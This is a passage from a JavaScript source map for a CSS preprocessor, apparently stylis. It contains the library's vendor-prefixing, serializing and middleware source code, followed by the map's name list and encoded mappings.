4855:\n\t\t// background-clip, columns, column-(count|fill|gap|rule|rule-color|rule-style|rule-width|span|width)\n\t\tcase 4215: case 6389: case 5109: case 5365: case 5621: case 3829:\n\t\t\treturn WEBKIT + value + value\n\t\t// tab-size\n\t\tcase 4789:\n\t\t\treturn MOZ + value + value\n\t\t// appearance, user-select, transform, hyphens, text-size-adjust\n\t\tcase 5349: case 4246: case 4810: case 6968: case 2756:\n\t\t\treturn WEBKIT + value + MOZ + value + MS + value + value\n\t\t// writing-mode\n\t\tcase 5936:\n\t\t\tswitch (charat(value, length + 11)) {\n\t\t\t\t// vertical-l(r)\n\t\t\t\tcase 114:\n\t\t\t\t\treturn WEBKIT + value + MS + replace(value, /[svh]\\w+-[tblr]{2}/, 'tb') + value\n\t\t\t\t// vertical-r(l)\n\t\t\t\tcase 108:\n\t\t\t\t\treturn WEBKIT + value + MS + replace(value, /[svh]\\w+-[tblr]{2}/, 'tb-rl') + value\n\t\t\t\t// horizontal(-)tb\n\t\t\t\tcase 45:\n\t\t\t\t\treturn WEBKIT + value + MS + replace(value, /[svh]\\w+-[tblr]{2}/, 'lr') + value\n\t\t\t\t// default: fallthrough to below\n\t\t\t}\n\t\t// flex, flex-direction, scroll-snap-type, writing-mode\n\t\tcase 6828: case 4268: case 2903:\n\t\t\treturn WEBKIT + value + MS + value + value\n\t\t// order\n\t\tcase 6165:\n\t\t\treturn WEBKIT + value + MS + 'flex-' + value + value\n\t\t// align-items\n\t\tcase 5187:\n\t\t\treturn WEBKIT + value + replace(value, /(\\w+).+(:[^]+)/, WEBKIT + 'box-$1$2' + MS + 'flex-$1$2') + value\n\t\t// align-self\n\t\tcase 5443:\n\t\t\treturn WEBKIT + value + MS + 'flex-item-' + replace(value, /flex-|-self/g, '') + (!match(value, /flex-|baseline/) ? MS + 'grid-row-' + replace(value, /flex-|-self/g, '') : '') + value\n\t\t// align-content\n\t\tcase 4675:\n\t\t\treturn WEBKIT + value + MS + 'flex-line-pack' + replace(value, /align-content|flex-|-self/g, '') + value\n\t\t// flex-shrink\n\t\tcase 5548:\n\t\t\treturn WEBKIT + value + MS + replace(value, 'shrink', 'negative') + value\n\t\t// flex-basis\n\t\tcase 5292:\n\t\t\treturn WEBKIT + value + MS + replace(value, 'basis', 'preferred-size') + value\n\t\t// flex-grow\n\t\tcase 6060:\n\t\t\treturn WEBKIT + 'box-' + replace(value, '-grow', '') + WEBKIT + value + MS + replace(value, 'grow', 'positive') + value\n\t\t// transition\n\t\tcase 4554:\n\t\t\treturn WEBKIT + replace(value, /([^-])(transform)/g, '$1' + WEBKIT + '$2') + value\n\t\t// cursor\n\t\tcase 6187:\n\t\t\treturn replace(replace(replace(value, /(zoom-|grab)/, WEBKIT + '$1'), /(image-set)/, WEBKIT + '$1'), value, '') + value\n\t\t// background, background-image\n\t\tcase 5495: case 3959:\n\t\t\treturn replace(value, /(image-set\\([^]*)/, WEBKIT + '$1' + '$`$1')\n\t\t// justify-content\n\t\tcase 4968:\n\t\t\treturn replace(replace(value, /(.+:)(flex-)?(.*)/, WEBKIT + 'box-pack:$3' + MS + 'flex-pack:$3'), /s.+-b[^;]+/, 'justify') + WEBKIT + value + value\n\t\t// justify-self\n\t\tcase 4200:\n\t\t\tif (!match(value, /flex-|baseline/)) return MS + 'grid-column-align' + substr(value, length) + value\n\t\t\tbreak\n\t\t// grid-template-(columns|rows)\n\t\tcase 2592: case 3360:\n\t\t\treturn MS + replace(value, 'template-', '') + value\n\t\t// grid-(row|column)-start\n\t\tcase 4384: case 3616:\n\t\t\tif (children && children.some(function (element, index) { return length = index, match(element.props, /grid-\\w+-end/) })) {\n\t\t\t\treturn ~indexof(value + (children = children[length].value), 'span') ? value : (MS + replace(value, '-start', '') + value + MS + 'grid-row-span:' + (~indexof(children, 'span') ? match(children, /\\d+/) : +match(children, /\\d+/) - +match(value, /\\d+/)) + ';')\n\t\t\t}\n\t\t\treturn MS + replace(value, '-start', '') + value\n\t\t// grid-(row|column)-end\n\t\tcase 4896: case 4128:\n\t\t\treturn (children && children.some(function (element) { return match(element.props, /grid-\\w+-start/) })) ? value : MS + replace(replace(value, '-end', '-span'), 'span ', '') + value\n\t\t// (margin|padding)-inline-(start|end)\n\t\tcase 4095: case 3583: case 4068: case 2532:\n\t\t\treturn replace(value, /(.+)-inline(.+)/, WEBKIT + '$1$2') + value\n\t\t// (min|max)?(width|height|inline-size|block-size)\n\t\tcase 8116: case 7059: case 5753: case 5535:\n\t\tcase 5445: case 5701: case 4933: case 4677:\n\t\tcase 5533: case 5789: case 5021: case 4765:\n\t\t\t// stretch, max-content, min-content, fill-available\n\t\t\tif (strlen(value) - 1 - length > 6)\n\t\t\t\tswitch (charat(value, length + 1)) {\n\t\t\t\t\t// (m)ax-content, (m)in-content\n\t\t\t\t\tcase 109:\n\t\t\t\t\t\t// -\n\t\t\t\t\t\tif (charat(value, length + 4) !== 45)\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t// (f)ill-available, (f)it-content\n\t\t\t\t\tcase 102:\n\t\t\t\t\t\treturn replace(value, /(.+:)(.+)-([^]+)/, '$1' + WEBKIT + '$2-$3' + '$1' + MOZ + (charat(value, length + 3) == 108 ? '$3' : '$2-$3')) + value\n\t\t\t\t\t// (s)tretch\n\t\t\t\t\tcase 115:\n\t\t\t\t\t\treturn ~indexof(value, 'stretch') ? prefix(replace(value, 'stretch', 'fill-available'), length, children) + value : value\n\t\t\t\t}\n\t\t\tbreak\n\t\t// grid-(column|row)\n\t\tcase 5152: case 5920:\n\t\t\treturn replace(value, /(.+?):(\\d+)(\\s*\\/\\s*(span)?\\s*(\\d+))?(.*)/, function (_, a, b, c, d, e, f) { return (MS + a + ':' + b + f) + (c ? (MS + a + '-span:' + (d ? e : +e - +b)) + f : '') + value })\n\t\t// position: sticky\n\t\tcase 4949:\n\t\t\t// stick(y)?\n\t\t\tif (charat(value, length + 6) === 121)\n\t\t\t\treturn replace(value, ':', ':' + WEBKIT) + value\n\t\t\tbreak\n\t\t// display: (flex|inline-flex|grid|inline-grid)\n\t\tcase 6444:\n\t\t\tswitch (charat(value, charat(value, 14) === 45 ? 18 : 11)) {\n\t\t\t\t// (inline-)?fle(x)\n\t\t\t\tcase 120:\n\t\t\t\t\treturn replace(value, /(.+:)([^;\\s!]+)(;|(\\s+)?!.+)?/, '$1' + WEBKIT + (charat(value, 14) === 45 ? 'inline-' : '') + 'box$3' + '$1' + WEBKIT + '$2$3' + '$1' + MS + '$2box$3') + value\n\t\t\t\t// (inline-)?gri(d)\n\t\t\t\tcase 100:\n\t\t\t\t\treturn replace(value, ':', ':' + MS) + value\n\t\t\t}\n\t\t\tbreak\n\t\t// scroll-margin, scroll-margin-(top|right|bottom|left)\n\t\tcase 5719: case 2647: case 2135: case 3927: case 2391:\n\t\t\treturn replace(value, 'scroll-', 'scroll-snap-') + value\n\t}\n\n\treturn value\n}\n","import {IMPORT, LAYER, COMMENT, RULESET, DECLARATION, KEYFRAMES} from './Enum.js'\nimport {strlen, sizeof} from './Utility.js'\n\n/**\n * @param {object[]} children\n * @param {function} callback\n * @return {string}\n */\nexport function serialize (children, callback) {\n\tvar output = ''\n\tvar length = sizeof(children)\n\n\tfor (var i = 0; i < length; i++)\n\t\toutput += callback(children[i], i, children, callback) || ''\n\n\treturn output\n}\n\n/**\n * @param {object} element\n * @param {number} index\n * @param {object[]} children\n * @param {function} callback\n * @return {string}\n */\nexport function stringify (element, index, children, callback) {\n\tswitch (element.type) {\n\t\tcase LAYER: if (element.children.length) break\n\t\tcase IMPORT: case DECLARATION: return element.return = element.return || element.value\n\t\tcase COMMENT: return ''\n\t\tcase KEYFRAMES: return element.return = element.value + '{' + serialize(element.children, callback) + '}'\n\t\tcase RULESET: element.value = element.props.join(',')\n\t}\n\n\treturn strlen(children = serialize(element.children, callback)) ? element.return = element.value + '{' + children + '}' : ''\n}\n","import {MS, MOZ, WEBKIT, RULESET, KEYFRAMES, DECLARATION} from './Enum.js'\nimport {match, charat, substr, strlen, sizeof, replace, combine} from './Utility.js'\nimport {copy, tokenize} from './Tokenizer.js'\nimport {serialize} from './Serializer.js'\nimport {prefix} from './Prefixer.js'\n\n/**\n * @param {function[]} collection\n * @return {function}\n */\nexport function middleware (collection) {\n\tvar length = sizeof(collection)\n\n\treturn function (element, index, children, callback) {\n\t\tvar output = ''\n\n\t\tfor (var i = 0; i < length; i++)\n\t\t\toutput += collection[i](element, index, children, callback) || ''\n\n\t\treturn output\n\t}\n}\n\n/**\n * @param {function} callback\n * @return {function}\n */\nexport function rulesheet (callback) {\n\treturn function (element) {\n\t\tif (!element.root)\n\t\t\tif (element = element.return)\n\t\t\t\tcallback(element)\n\t}\n}\n\n/**\n * @param {object} element\n * @param {number} index\n * @param {object[]} children\n * @param {function} callback\n */\nexport function prefixer (element, index, children, callback) {\n\tif (element.length > -1)\n\t\tif (!element.return)\n\t\t\tswitch (element.type) {\n\t\t\t\tcase DECLARATION: element.return = prefix(element.value, element.length, children)\n\t\t\t\t\treturn\n\t\t\t\tcase KEYFRAMES:\n\t\t\t\t\treturn serialize([copy(element, {value: replace(element.value, '@', '@' + WEBKIT)})], callback)\n\t\t\t\tcase RULESET:\n\t\t\t\t\tif (element.length)\n\t\t\t\t\t\treturn combine(element.props, function (value) {\n\t\t\t\t\t\t\tswitch (match(value, /(::plac\\w+|:read-\\w+)/)) {\n\t\t\t\t\t\t\t\t// :read-(only|write)\n\t\t\t\t\t\t\t\tcase ':read-only': case ':read-write':\n\t\t\t\t\t\t\t\t\treturn serialize([copy(element, {props: [replace(value, /:(read-\\w+)/, ':' + MOZ + '$1')]})], callback)\n\t\t\t\t\t\t\t\t// :placeholder\n\t\t\t\t\t\t\t\tcase '::placeholder':\n\t\t\t\t\t\t\t\t\treturn serialize([\n\t\t\t\t\t\t\t\t\t\tcopy(element, {props: [replace(value, /:(plac\\w+)/, ':' + WEBKIT + 'input-$1')]}),\n\t\t\t\t\t\t\t\t\t\tcopy(element, {props: [replace(value, /:(plac\\w+)/, ':' + MOZ + '$1')]}),\n\t\t\t\t\t\t\t\t\t\tcopy(element, {props: [replace(value, /:(plac\\w+)/, MS + 'input-$1')]})\n\t\t\t\t\t\t\t\t\t], callback)\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\treturn ''\n\t\t\t\t\t\t})\n\t\t\t}\n}\n\n/**\n * @param {object} element\n * @param {number} index\n * @param {object[]} children\n */\nexport function namespace (element) {\n\tswitch (element.type) {\n\t\tcase RULESET:\n\t\t\telement.props = element.props.map(function (value) {\n\t\t\t\treturn combine(tokenize(value), function (value, index, children) {\n\t\t\t\t\tswitch (charat(value, 0)) {\n\t\t\t\t\t\t// \\f\n\t\t\t\t\t\tcase 12:\n\t\t\t\t\t\t\treturn substr(value, 1, strlen(value))\n\t\t\t\t\t\t// \\0 ( + > ~\n\t\t\t\t\t\tcase 0: case 40: case 43: case 62: case 126:\n\t\t\t\t\t\t\treturn value\n\t\t\t\t\t\t// :\n\t\t\t\t\t\tcase 58:\n\t\t\t\t\t\t\tif (children[++index] === 'global')\n\t\t\t\t\t\t\t\tchildren[index] = '', children[++index] = '\\f' + substr(children[index], index = 1, -1)\n\t\t\t\t\t\t// \\s\n\t\t\t\t\t\tcase 32:\n\t\t\t\t\t\t\treturn index === 1 ? '' : value\n\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\tswitch (index) {\n\t\t\t\t\t\t\t\tcase 0: element = value\n\t\t\t\t\t\t\t\t\treturn sizeof(children) > 1 ? '' : value\n\t\t\t\t\t\t\t\tcase index = sizeof(children) - 1: case 2:\n\t\t\t\t\t\t\t\t\treturn index === 2 ? value + element + element : value + element\n\t\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\t\treturn value\n\t\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t})\n\t\t\t})\n\t}\n}\n"],"names":["MS","MOZ","WEBKIT","COMMENT","RULESET","DECLARATION","PAGE","MEDIA","IMPORT","CHARSET","VIEWPORT","SUPPORTS","DOCUMENT","NAMESPACE","KEYFRAMES","FONT_FACE","COUNTER_STYLE","FONT_FEATURE_VALUES","LAYER","abs","Math","from","String","fromCharCode","assign","Object","hash","value","length","charat","trim","match","pattern","exec","replace","replacement","indexof","search","indexOf","index","charCodeAt","substr","begin","end","slice","strlen","sizeof","append","array","push","combine","callback","map","join","node","root","parent","type","props","children","line","column","return","copy","char","character","prev","position","characters","next","peek","caret","token","alloc","dealloc","delimit","delimiter","tokenize","tokenizer","whitespace","identifier","escaping","count","commenter","compile","parse","rule","rules","rulesets","pseudo","points","declarations","offset","atrule","property","previous","variable","scanning","ampersand","reference","comment","declaration","ruleset","post","size","i","j","k","x","y","z","prefix","some","element","_","a","b","c","d","e","f","serialize","output","stringify","middleware","collection","rulesheet","prefixer","namespace"],"mappings":"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